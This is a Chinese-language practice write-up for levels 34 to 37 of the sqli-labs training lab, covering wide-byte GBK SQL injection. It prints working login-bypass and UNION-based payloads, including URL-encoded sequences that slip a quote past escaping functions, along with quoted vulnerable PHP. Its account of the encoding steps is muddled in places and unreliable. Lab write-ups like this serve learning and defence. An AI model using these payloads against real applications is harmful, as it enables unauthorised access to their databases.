靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)


0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

0x02 通关记录

简介:一天一关!

(34)第三十四关:

使用下面输入的语句可以成功注入并登录成功:

?' or 1=1#

因为这个编码是乱码,会启用gbk解码,所以变成了文字的注入,第36关特别详细,可以先查看36关的说明:

?%5c' or 1=1#           首先被过滤函数转义,加了个%5c
%EF%BF%BD%5c' or 1=1# 然后是自行url解码变成%EF%BF%BD%5c'
锟絓' or 1=1#             最后是gbk解码,发现可以注入! 

(35)第三十五关:

/ take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "
"; //logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

这个也是考宽字节注入,不同的是没有加那个'号,用的那个过滤函数

 后面什么也不用输即可:

?id=-1%20 union select 1,user(),3--+

(36)第三十六关:

 36关就用的过滤函数不一样了,因此可以再回顾一下过滤函数:php内一些可以防止注入的函数

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 

下列字符受影响:
? \x00
? \n
? \r
? \
? ' ? "
? \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
?id=-1?'union select 1,user(),3--+

这里的语句设置了转义,同时在乱码会使用gbk编码:

mysql_query("set names 'gbk'");

我们输入

%EF%BF%BD%27 他首先会url解码成乱码,发现有个'就拼接了\\的url编码是%5c,因为是个乱码,所以,会使用gbk编码,然后就变成%EF%BF%BD%5c%27

这里的乱码使用gbk进行解码,就变成了汉字,因此可以注入:

 跟34关差不多的原理,这里我不再赘述。

(37)第三十七关:

 用户名和密码都设置了转义,然后在乱码时启用了gbk

?' or 1=1#

跟34关差不多,不再赘述。

相关